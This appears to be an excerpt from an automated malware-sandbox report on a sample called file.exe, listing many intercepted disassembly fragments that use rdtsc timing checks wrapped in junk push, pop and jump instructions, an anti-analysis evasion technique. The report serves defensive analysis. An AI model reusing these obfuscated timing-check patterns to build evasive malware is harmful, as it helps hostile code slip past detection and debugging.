Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C705E7 second address: C70609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F2F50B4A347h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70609 second address: C7060E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7060E second address: C70632 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2F50B4A340h 0x00000008 jmp 00007F2F50B4A33Ah 0x0000000d pushad 0x0000000e jmp 00007F2F50B4A33Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70632 second address: C7063E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7063E second address: C70653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jns 00007F2F50B4A33Ch 0x0000000f jns 00007F2F50B4A336h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C707CC second address: C707D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jbe 00007F2F50F30756h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C707D8 second address: C7080F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A348h 0x00000007 jo 00007F2F50B4A336h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jp 00007F2F50B4A33Eh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7080F second address: C7081E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007F2F50F3075Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70AAB second address: C70ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F2F50B4A342h 0x0000000b jl 00007F2F50B4A336h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73120 second address: C73171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push esi 0x0000000b push edi 0x0000000c jmp 00007F2F50F3075Bh 0x00000011 pop edi 0x00000012 pop esi 0x00000013 mov eax, dword ptr [eax] 0x00000015 jl 00007F2F50F3076Fh 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F2F50F30760h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73171 second address: AEFDC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A341h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F2F50B4A345h 0x0000000e popad 0x0000000f pop eax 0x00000010 mov esi, dword ptr [ebp+122D3966h] 0x00000016 push dword ptr [ebp+122D0045h] 0x0000001c sub dword ptr [ebp+122D295Dh], edi 0x00000022 call dword ptr [ebp+122D1AAAh] 0x00000028 pushad 0x00000029 xor dword ptr [ebp+122D18F9h], ebx 0x0000002f xor eax, eax 0x00000031 jmp 00007F2F50B4A344h 0x00000036 or dword ptr [ebp+122D18F9h], eax 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 jmp 00007F2F50B4A345h 0x00000045 jmp 00007F2F50B4A33Eh 0x0000004a mov dword ptr [ebp+122D3B7Eh], eax 0x00000050 pushad 0x00000051 jmp 00007F2F50B4A33Fh 0x00000056 mov eax, dword ptr [ebp+122D3BAEh] 0x0000005c popad 0x0000005d jmp 00007F2F50B4A346h 0x00000062 mov esi, 0000003Ch 0x00000067 or dword ptr [ebp+122D18F9h], ebx 0x0000006d add esi, dword ptr [esp+24h] 0x00000071 pushad 0x00000072 movzx eax, bx 0x00000075 add edi, 03A1EBF0h 0x0000007b popad 0x0000007c lodsw 0x0000007e or dword ptr [ebp+122D18F9h], ecx 0x00000084 add eax, dword ptr [esp+24h] 0x00000088 jng 00007F2F50B4A342h 0x0000008e pushad 0x0000008f sub eax, dword ptr [ebp+122D3B76h] 0x00000095 mov si, 05EBh 0x00000099 popad 0x0000009a mov ebx, dword ptr [esp+24h] 0x0000009e jnp 00007F2F50B4A33Ch 0x000000a4 nop 0x000000a5 jmp 00007F2F50B4A348h 0x000000aa push eax 0x000000ab pushad 0x000000ac pushad 0x000000ad push eax 0x000000ae push edx 0x000000af rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C731F4 second address: C731F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C731F8 second address: C73255 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2F50B4A336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007F2F50B4A349h 0x00000010 pop ebx 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 mov ecx, esi 0x00000017 push 00000000h 0x00000019 sbb ecx, 3833165Eh 0x0000001f js 00007F2F50B4A348h 0x00000025 call 00007F2F50B4A339h 0x0000002a jnl 00007F2F50B4A33Eh 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C67AEF second address: C67B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F2F50F30756h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2F50F3075Eh 0x00000012 jmp 00007F2F50F30760h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C67B1A second address: C67B1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93523 second address: C93546 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2F50F30756h 0x00000008 ja 00007F2F50F30756h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F2F50F3075Ah 0x00000016 jno 00007F2F50F30756h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C936B0 second address: C936C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A33Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93837 second address: C93841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93841 second address: C9386F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2F50B4A336h 0x0000000a pop ebx 0x0000000b popad 0x0000000c pushad 0x0000000d jnc 00007F2F50B4A348h 0x00000013 pushad 0x00000014 jnc 00007F2F50B4A336h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9386F second address: C93880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F2F50F30756h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C939C2 second address: C939D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jnc 00007F2F50B4A336h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C939D2 second address: C939D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C939D9 second address: C939E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F2F50B4A336h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93B33 second address: C93B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93B37 second address: C93B40 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93B40 second address: C93B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F30763h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93B59 second address: C93B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93B5E second address: C93B63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93CCB second address: C93CD6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93CD6 second address: C93CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93E2B second address: C93E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007F2F50B4A349h 0x0000000a pop ebx 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93FA0 second address: C93FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F3075Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93FB4 second address: C93FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50B4A349h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jg 00007F2F50B4A336h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93FE0 second address: C93FEA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2F50F30762h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93FEA second address: C93FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94702 second address: C94714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F3075Dh 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6956D second address: C69573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C69573 second address: C69577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94FA9 second address: C94FC6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2F50B4A346h 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95100 second address: C95104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95104 second address: C95110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2F50B4A336h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95110 second address: C95115 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95115 second address: C9511D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95231 second address: C95246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jno 00007F2F50F30756h 0x0000000c popad 0x0000000d jg 00007F2F50F3075Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9C81A second address: C9C824 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9C824 second address: C9C850 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a je 00007F2F50F30756h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 jp 00007F2F50F30758h 0x00000019 push edx 0x0000001a pop edx 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jno 00007F2F50F30756h 0x00000029 push edi 0x0000002a pop edi 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9C850 second address: C9C866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A33Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9C866 second address: C9C86C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9C86C second address: C9C872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9C872 second address: C9C89A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B708 second address: C9B70D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B70D second address: C9B728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007F2F50F30756h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CA28 second address: C9CA2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CA2E second address: C9CA56 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2F50F30756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2F50F30769h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0EEA second address: CA0F0E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2F50B4A33Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F2F50B4A336h 0x00000010 jmp 00007F2F50B4A33Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA13A0 second address: CA13A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA13A6 second address: CA13C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2F50B4A346h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA13C8 second address: CA13D6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2F50F30756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1667 second address: CA1679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2F50B4A33Bh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1679 second address: CA1684 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F2F50F30756h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1EB7 second address: CA1EBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1FD0 second address: CA1FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1FD4 second address: CA1FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2F50B4A343h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1FF4 second address: CA1FFA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA215D second address: CA2163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2163 second address: CA2173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jc 00007F2F50F30756h 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2506 second address: CA250C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA250C second address: CA2525 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007F2F50F30764h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2525 second address: CA2529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA25CE second address: CA25D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA25D3 second address: CA25DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA25DA second address: CA25ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jbe 00007F2F50F30760h 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2CA0 second address: CA2CB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A33Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2CB0 second address: CA2CC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2F50F3075Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2E63 second address: CA2E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA366E second address: CA36E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F2F50F30758h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F2F50F30758h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e mov edi, dword ptr [ebp+122D3BEEh] 0x00000044 push 00000000h 0x00000046 xchg eax, ebx 0x00000047 pushad 0x00000048 pushad 0x00000049 jmp 00007F2F50F3075Ch 0x0000004e push ecx 0x0000004f pop ecx 0x00000050 popad 0x00000051 je 00007F2F50F30758h 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 pop edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA40DC second address: CA40E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3F79 second address: CA3F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA40E0 second address: CA417E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F2F50B4A341h 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F2F50B4A338h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d jmp 00007F2F50B4A346h 0x00000032 push 00000000h 0x00000034 mov esi, dword ptr [ebp+122D1CD0h] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F2F50B4A338h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 0000001Dh 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 push eax 0x00000057 mov di, B999h 0x0000005b pop esi 0x0000005c xchg eax, ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f push ebx 0x00000060 jmp 00007F2F50B4A33Fh 0x00000065 pop ebx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3F7D second address: CA3FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F2F50F3076Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7C7D second address: CA7C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
